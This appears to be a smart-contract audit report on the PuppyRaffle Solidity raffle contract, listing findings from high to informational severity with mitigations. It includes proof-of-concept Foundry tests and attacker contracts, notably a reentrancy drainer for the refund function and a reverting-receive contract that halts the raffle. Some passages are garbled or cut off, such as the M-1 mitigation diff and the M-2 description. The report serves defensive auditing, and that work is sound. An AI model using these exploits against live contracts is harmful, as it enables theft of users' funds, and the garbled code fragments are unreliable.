Protocol Audit Report

Prepared by: Sahil Kaushik

Table of Contents

  - [I-3] Test Coverage
  - [I-4] Zero address validation
  - [I-5] _isActivePlayer is never used and should be removed
  - [I-6] Unchanged variables should be constant or immutable
  - [I-7] Potentially erroneous active player index
  - [I-8] Zero address may be erroneously considered an active player
- Gas

Protocol Summary

This contract allows user to enter a Raffle and winner can mint a random puppy nft.

Disclaimer

I made all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

Likelihood Impact	High	Medium	Low
High	H	H/M	M
Medium	H/M	M	M/L
Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond the following commit hash:

22bbbb2c47f3f2b78c1b134590baf41383fd354f

Scope

```
src/
--- PuppyRaffle.sol
```

Roles

- Owner: Is the only one who should be able to set and access the password.

For this contract, only the owner should be able to interact with the contract. # Executive Summary ## Issues found

Severity	Number of issues found
High	5
Medium	3
Low	1
Info	8
Gas Optimizations	0
Total	17

Findings

High

[H-1] ReEntrancy attack in `PuppleRaffle::refund` , can drain all the contracts balance.

Description: A possible ReEntrancy attack can occur in `PuppyRaffle::refund`. This is because it doesnt follow CEI rule as the state of the variable in changed after the value is being sent.

Impact: All contract balance can be drained.

Proof of Concept: The playerIndex is getting updated in the `PuppyRaffle::players` after the refund value is being sent.Therefore one can use a custom recieve function such that it can drain all the contracts funds.

```
    /// @param playerIndex the index of the player to refund. You can find
     ↪  it externally by calling `getActivePlayerIndex`
    /// @dev This function will allow there to be blank spots in the array
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(
            playerAddress == msg.sender,
            "PuppyRaffle: Only the player can refund"
        );
        require(
            playerAddress != address(0),
            "PuppyRaffle: Player already refunded, or is not active"
        );
        payable(msg.sender).sendValue(entranceFee);

@>      players[playerIndex] = address(0);
        emit RaffleRefunded(playerAddress);
    }
```

Proof of Code

Add these test suite in the `PuppyRaffle.t.sol`:

```
        function testReentrance() public playersEntered {
        ReentrancyAttacker attacker = new ReentrancyAttacker(
            address(puppyRaffle)
        );
        vm.deal(address(attacker), 1e18);
        uint256 startingAttackerBalance = address(attacker).balance;
        uint256 startingContractBalance = address(puppyRaffle).balance;

        attacker.attack();

        uint256 endingAttackerBalance = address(attacker).balance;
        uint256 endingContractBalance = address(puppyRaffle).balance;
        assertEq(
            endingAttackerBalance,
            startingAttackerBalance + startingContractBalance
        );
        assertEq(endingContractBalance, 0);
    }


contract ReentrancyAttacker {
```

```
    PuppyRaffle puppyRaffle;
    uint256 public entranceFee;
    uint256 attackerIndex;

    constructor(address _puppyRaffleAddress) {
        puppyRaffle = PuppyRaffle(_puppyRaffleAddress);
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() public {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);
        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
        puppyRaffle.refund(attackerIndex);
    }

    fallback() external payable {
        if (address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex);
        }
    }
}
```

Recomended Mitigation: Update the state of variabl before calling the `sendvalue` to the user in the `PuppyRaffle::refund`.

```
function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(
            playerAddress == msg.sender,
            "PuppyRaffle: Only the player can refund"
        );
        require(
            playerAddress != address(0),
            "PuppyRaffle: Player already refunded, or is not active"
        );
+       players[playerIndex] = address(0);
        payable(msg.sender).sendValue(entranceFee);
-       players[playerIndex] = address(0);
        emit RaffleRefunded(playerAddress);
    }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner`, allows anyone to choose winner.

**Description: Hashing msg.sender, block.timestamp, block.difficulty together creates a predictable final number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

**Impact: Any user can choose the winner of the raffle, winning the money and selecting the "rarest" puppy, essentially making it such that all puppies have the same rarity, since you can choose the puppy.

Proof of Concept:

There are a few attack vectors here.

Validators can know ahead of time the block.timestamp and block.difficulty and use that knowledge to predict when / how to participate. Users can manipulate the msg.sender value to result in their index being the winner. Using on-chain values as a randomness seed is a well-known attack vector in the blockchain space.

Recommended Mitigation: Consider using an oracle for your randomness like Chainlink VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFess` , loses funds.

Description: Solidity version prior to versino 8.0.0, have integer overflows issues.In the `PuppyRaffle::selectWinner` the `PuppyRaffle::totalFees` can overflow its max values due to

Impact: if the totalFees variable overflows, the feeAddress may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept: in the `PuppyRaffle::selectWinner` , `PuppyRaffle::totalFees` is defined as a uint64 varible whose maximum limit can be reached easiy if there are a lot of players.

```
function selectWinner() external {
        require(
            block.timestamp >= raffleStartTime + raffleDuration,
            "PuppyRaffle: Raffle not over"
        );
       require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
        uint256 winnerIndex = uint256(
            keccak256(
                abi.encodePacked(msg.sender, block.timestamp,
↪  block.difficulty)
            )
        ) % players.length;
```

```
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
@>      totalFees = totalFees + uint64(fee);
        uint256 tokenId = totalSupply();

        uint256 rarity = uint256(
            keccak256(abi.encodePacked(msg.sender, block.difficulty))
        ) % 100;
        if (rarity <= COMMON_RARITY) {
            tokenIdToRarity[tokenId] = COMMON_RARITY;
        } else if (rarity <= COMMON_RARITY + RARE_RARITY) {
            tokenIdToRarity[tokenId] = RARE_RARITY;
        } else {
            tokenIdToRarity[tokenId] = LEGENDARY_RARITY;
        }
        delete players;
        raffleStartTime = block.timestamp;
        previousWinner = winner;
        (bool success, ) = winner.call{value: prizePool}("");
        require(success, "PuppyRaffle: Failed to send prize pool to winner");
        _safeMint(winner, tokenId);
    }
```

Proof of Code

Add this test suite in the `PuppyRaffle.t.sol` -

```
    function testIntegerOverflow() public {
        address testaddress = address(123456789);
        vm.deal(testaddress, type(uint256).max);
        address[] memory players = new address[](1);
        players[0] = testaddress;
        puppyRaffle.enterRaffle{value: type(uint256).max}(players);
        uint256 balance = puppyRaffle.totalFees();
        console.log("Contract balance after overflow attempt: ", balance);
    }
```

it will result into an error `PuppyRaffleTest::testIntegerOverflow()`:

```
[16018] PuppyRaffleTest::testIntegerOverflow()
```

```
    ├─ [0] VM::deal(0x000000000000000000000000000075BCd15,
↪  1157920892373161954235709850086879078532699846656405640394575840079131296399 35
↪  [1.157e77])
    │   └─ ← [Return]
    ├─ [0] PuppyRaffle::enterRaffle{value:
↪  1157920892373161954235709850086879078532699846656405640394575840079131296399 35}([0x0
    │   └─ ← [OutOfFunds] EvmError: OutOfFunds
    └─ ← [Revert] EvmError: Revert
```

Recomended Mitigation: - Use a higher version of Solidity which wraps the integer preventing error.

```
- pragma solidity ^0.7.6;
+ pragma solidity ^0.8.21;
```

- Use uint256 instead of uint64 for `puppyRaffle::TotalFeess`

```
+ uint256 totalFees;
- uint64 totalFees;
```

[H-4] Malacious User can hault the raffle due to `puppyRaffle::selectWinner`.

Description: If a malacious contract calls the `puppyRaffle::selectWinner` with a broken fallback function using `revert()`.The winner would be the same as the funds are not being trasfered and the whole contract would get stuck with that one winner due to broken fallback function in malacious contract that an user used.

Impact: The whole raffle gets haulted/paused forever.

Proof of Concept: In the `puppyRaffle::selectWinner`, the call function can send funds to a malacious contract with broken fallback.

```
function selectWinner() external {
        require(
            block.timestamp >= raffleStartTime + raffleDuration,
            "PuppyRaffle: Raffle not over"
        );
        require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
        uint256 winnerIndex = uint256(
            keccak256(
                abi.encodePacked(msg.sender, block.timestamp,
↪  block.difficulty)
            )
        ) % players.length;
```

```
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
        totalFees = totalFees + uint64(fee);
        uint256 tokenId = totalSupply();

        uint256 rarity = uint256(
            keccak256(abi.encodePacked(msg.sender, block.difficulty))
        ) % 100;
        if (rarity <= COMMON_RARITY) {
            tokenIdToRarity[tokenId] = COMMON_RARITY;
        } else if (rarity <= COMMON_RARITY + RARE_RARITY) {
            tokenIdToRarity[tokenId] = RARE_RARITY;
        } else {
            tokenIdToRarity[tokenId] = LEGENDARY_RARITY;
        }
        delete players;
        raffleStartTime = block.timestamp;
        previousWinner = winner;
@>      (bool success, ) = winner.call{value: prizePool}("");
        require(success, "PuppyRaffle: Failed to send prize pool to winner");
        _safeMint(winner, tokenId);
    }
```

Proof of Code

Place the following test into `PuppyRaffleTest.t.sol`.

```
function testSelectWinnerDoS() public {
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);

    address[] memory players = new address[](4);
    players[0] = address(new AttackerContract());
    players[1] = address(new AttackerContract());
    players[2] = address(new AttackerContract());
    players[3] = address(new AttackerContract());
    puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

    vm.expectRevert();
    puppyRaffle.selectWinner();
}
```

```
contract AttackerContract {
    // Implements a `receive` function that always reverts
    receive() external payable {
        revert();
    }
}
```

Recommended Mitigation: Favor pull-payments over push-payments. This means modifying the selectWinner function so that the winner account has to claim the prize by calling a function, instead of having the contract automatically send the funds during execution of selectWinner. ### [H-5] Smart Contract wallet raffle winners without a `receive` or a `fallback` will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Non-smart contract wallet users could reenter, but it might cost them a lot of gas due to the duplicate check.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, and make it very difficult to reset the lottery, preventing a new one from starting.

Also, true winners would not be able to get paid out, and someone else would win their money!

Proof of Concept: 1. 10 smart contract wallets enter the lottery without a fallback or receive function. 2. The lottery ends 3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the owness on the winner to claim their prize. (Recommended)

Medium

[M-1] Double looping in the `PupyRaffle::enterRaffle` potential for DOS Atacks,increases the gas fees for the subsequent users.

Description: The use of double for loop in the `PuppyRaffle::enterRaffle` has a potential issue for the DOS Attacks. The users who entered the Raffle first will get low gas fees and they can populate the users array making the gas fees high for subsequent users.For every new user the loop has to run one extra loop increasing the gas cost significantly.

Impact: Increases the gas cost signficantly for the users which can also lead to transaction failure.

Proof of Concept: Gas cost for two different users are mentioned below : - User1 : 6503225 - User2 : 18995465 (almost 3X more costly)

this is due to the double for loop in `PuppyRaffle::enterRaffle`:

```
@> for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(
                    players[i] != players[j],
                    "PuppyRaffle: Duplicate player"
                );
            }
        }
```

Proof of Code

Add these test suite in the `PuppyRaffle.t.sol`:

```
function testDenialOfService() public {
        // Foundry lets us set a gas price
        vm.txGasPrice(1); // Creates 100 addresses
        uint256 playersNum = 100;
        address[] memory players = new address[](playersNum);
        for (uint i = 0; i < players.length; i++) {
            players[i] = address(i);
        }

        // Gas calculations for first 100 players
        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee *
↪   players.length}(players);
        uint256 gasEnd = gasleft();
        uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
        console.log("Gas cost of the first 100 players: ", gasUsedFirst);
        // uint256 playersNum = 100;
        address[] memory players_two = new address[](playersNum);
        for (uint256 i = 0; i < players.length; i++) {
            players_two[i] = address(i + 100);
        }

        // Gas calculations for second 100 players
        uint256 gasStart_a = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players_two.length}(
```

```
            players_two
        );
        uint256 gasEnd_a = gasleft();
        uint256 gasUsedFirst_a = (gasStart_a - gasEnd_a) * tx.gasprice;
        console.log("Gas cost of the second 100 players: ", gasUsedFirst_a);
        assert(gasUsedFirst < gasUsedFirst_a);
    }
```

Recomended Mitigation: - Avoid Duplicate checking: A User can create multiple wallet address and enter the raffle with multiple addresses poiting to the same user. - Use mapping instead of doulble for loop as it will thhen only rquire constant runtime rather than a linear runtime.use a mapping that maps the usesr addresses to a uinique id and check thhe correspodngin address id for the dublipcates. “‘diff + mapping(address => uint256) public addressToRaffleId; + uint256 public raffleId = 0; . . . function enterRaffle(address[] memory newPlayers) public payable { require(msg.value == entranceFee * newPlayers.length, “PuppyRaffle: Must send enough to enter raffle”); for (uint256 i = 0; i < newPlayers.length; i++) { players.push(newPlayers[i]); + addressToRaffleId[newPlayers[i]] = raffleId;
}

- ```
    // Check for duplicates
  ```
- ```
  // Check for duplicates only from the new players
  ```
- ```
  for (uint256 i = 0; i < newPlayers.length; i++) {
  ```
- ```
    require(addressToRaffleId[newPlayers[i]] != raffleId, "PuppyRaffle: Duplic
  ```
- ```
  }
  ```
- ```
    for (uint256 i = 0; i < players.length; i++) {
  ```
- ```
        for (uint256 j = i + 1; j < players.length; j++) {
  ```
- ```
        require(players[i] != players[j], "PuppyRaffle: Duplicate player");
  ```
- ```
        }
  ```
- ```
    }
  emit RaffleEnter(newPlayers);
  ```

  }. . . function selectWinner() external {

- ```
  raffleId = raffleId + 1;
  require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raf
  ```

[M-2] The requier check in `PuppyRaffle::withdraw` is vulnerable to `selfdestruc
  ```

Description: The `PuppyRaffle::withdrawFees` function checks the `totalFees` eq

```javascript
  function withdrawFees() external {
@>    require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are
      uint256 feesToWithdraw = totalFees;
      totalFees = 0;
      (bool success,) = feeAddress.call{value: feesToWithdraw}("");
      require(success, "PuppyRaffle: Failed to withdraw fees");
  }
```

Impact: This would prevent the `feeAddress` from withdrawing fees. A malicious user could see a `withdrawFee` transaction in the mempool, front-run it, and block the withdrawal by sending fees.

Proof of Concept:

1. `PuppyRaffle` has 800 wei in it's balance, and 800 totalFees.
2. Malicious user sends 1 wei via a `selfdestruct`
3. `feeAddress` is no longer able to withdraw funds

Recommended Mitigation: Remove the balance check on the `PuppyRaffle::withdrawFees` function.

```
    function withdrawFees() external {
-       require(address(this).balance == uint256(totalFees), "PuppyRaffle:
↪   There are currently players active!");
        uint256 feesToWithdraw = totalFees;
        totalFees = 0;
        (bool success,) = feeAddress.call{value: feesToWithdraw}("");
        require(success, "PuppyRaffle: Failed to withdraw fees");
    }
```

[M-3] Unsafe cast of `PuppyRaffle::fee` loses fees

Description: In `PuppyRaffle::selectWinner` their is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration,
        ↪  "PuppyRaffle: Raffle not over");
        require(players.length > 0, "PuppyRaffle: No players in raffle");
```

```
        uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender,
↪  block.timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 fee = totalFees / 10;
        uint256 winnings = address(this).balance - fee;
@>      totalFees = totalFees + uint64(fee);
        players = new address[](0);
        emit RaffleWinner(winner, winnings);
    }
```

The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
uint256 max = type(uint64).max
uint256 fee = max + 1
uint64(fee)
// prints 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. Their is a comment which says:

```
// We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;
.
.
.
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration,
↪  "PuppyRaffle: Raffle not over");
       require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
```

```
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp,
 ↪  block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
-       totalFees = totalFees + uint64(fee);
+       totalFees = totalFees + fee;
```

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and players at index 0 causing players to incorrectly think they have not entered the raffle

Description: If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec it will also return zero if the player is NOT in the array.

```
    function getActivePlayerIndex(address player) external view returns
     ↪  (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        return 0;
    }
```

Impact: A player at index 0 may incorrectly think they have not entered the raffle and attempt to enter the raffle again, wasting gas.

Proof of Concept: 1. User enters the raffle, they are the first entrant 2. `PuppyRaffle::getActivePlayerInde` returns 0 3. User thinks they have not entered correctly due to the function documentation **Recommendations:** The easiest recommendation would be to revert if the player is not in the array instead of returning 0. You could also reserve the 0th position for any competition, but an even better solution might be to return an `int256` where the function returns -1 if the player is not active.## Informational / Non-Critical

Informational

[I-1] Floating pragmas

Description: Contracts should use strict versions of solidity. Locking the version ensures that contracts are not deployed with a different version of solidity than they were tested with. An incorrect version could lead to uninteded results.

https://swcregistry.io/docs/SWC-103/

Recommended Mitigation: Lock up pragma versions.

```
- pragma solidity ^0.7.6;
+ pragma solidity 0.7.6;
```

[I-2] Magic Numbers

Description: All number literals should be replaced with constants. This makes the code more readable and easier to maintain. Numbers without context are called "magic numbers".

Recommended Mitigation: Replace all magic numbers with constants.

```
+       uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
+       uint256 public constant FEE_PERCENTAGE = 20;
+       uint256 public constant TOTAL_PERCENTAGE = 100;
.
.
.
-        uint256 prizePool = (totalAmountCollected * 80) / 100;
-        uint256 fee = (totalAmountCollected * 20) / 100;
         uint256 prizePool = (totalAmountCollected * PRIZE_POOL_PERCENTAGE)
 ↪  / TOTAL_PERCENTAGE;
         uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) /
 ↪  TOTAL_PERCENTAGE;
```

[I-3] Test Coverage

Description: The test coverage of the tests are below 90%. This often means that there are parts of the code that are not tested.

```
| File                    | % Lines      | % Statements   | % Branches    | % Funcs
```

```
| ---------------------------------- | -------------- | -------------
- | -------------- | ------------- |
| script/DeployPuppyRaffle.sol     | 0.00% (0/3)   | 0.00% (0/4)   | 100.00% (0/0)
| src/PuppyRaffle.sol            | 82.46% (47/57) | 83.75% (67/80) | 66.67% (20/30) |
| test/auditTests/ProofOfCodes.t.sol | 100.00% (7/7)  | 100.00% (8/8)  | 50.00% (1/2
| Total                      | 80.60% (54/67) | 81.52% (75/92) | 65.62% (21/32) | 75.0
```

Recommended Mitigation: Increase test coverage to 90% or higher, especially for the `Branches` column.

[I-4] Zero address validation

Description: The `PuppyRaffle` contract does not validate that the `feeAddress` is not the zero address. This means that the `feeAddress` could be set to the zero address, and fees would be lost.

```
PuppyRaffle.constructor(uint256,address,uint256)._feeAddress (src/PuppyRaffle.sol
check on :
                - feeAddress = _feeAddress (src/PuppyRaffle.sol#59)
PuppyRaffle.changeFeeAddress(address).newFeeAddress (src/PuppyRaffle.sol#165) lac
check on :
               - feeAddress = newFeeAddress (src/PuppyRaffle.sol#166)
```

Recommended Mitigation: Add a zero address check whenever the `feeAddress` is updated.

[I-5] _isActivePlayer is never used and should be removed

Description: The function `PuppyRaffle::_isActivePlayer` is never used and should be removed.

```
-    function _isActivePlayer() internal view returns (bool) {
-        for (uint256 i = 0; i < players.length; i++) {
-            if (players[i] == msg.sender) {
-                return true;
-            }
-        }
-        return false;
-    }
```

[I-6] Unchanged variables should be constant or immutable

Constant Instances:

```
PuppyRaffle.commonImageUri (src/PuppyRaffle.sol#35) should be constant
PuppyRaffle.legendaryImageUri (src/PuppyRaffle.sol#45) should be constant
PuppyRaffle.rareImageUri (src/PuppyRaffle.sol#40) should be constant
```

Immutable Instances:

```
PuppyRaffle.raffleDuration (src/PuppyRaffle.sol#21) should be immutable
```

[I-7] Potentially erroneous active player index

Description: The `getActivePlayerIndex` function is intended to return zero when the given address is not active. However, it could also return zero for an active address stored in the first slot of the `players` array. This may cause confusions for users querying the function to obtain the index of an active player.

Recommended Mitigation: Return 2**256-1 (or any other sufficiently high number) to signal that the given player is inactive, so as to avoid collision with indices of active players.

[I-8] Zero address may be erroneously considered an active player

Description: The `refund` function removes active players from the `players` array by setting the corresponding slots to zero. This is confirmed by its documentation, stating that "This function will allow there to be blank spots in the array". However, this is not taken into account by the `getActivePlayerIndex` function. If someone calls `getActivePlayerIndex` passing the zero address after there's been a refund, the function will consider the zero address an active player, and return its index in the `players` array.

Recommended Mitigation: Skip zero addresses when iterating the `players` array in the `getActivePlayerIndex`. Do note that this change would mean that the zero address can *never* be an active player. Therefore, it would be best if you also prevented the zero address from being registered as a valid player in the `enterRaffle` function.

Gas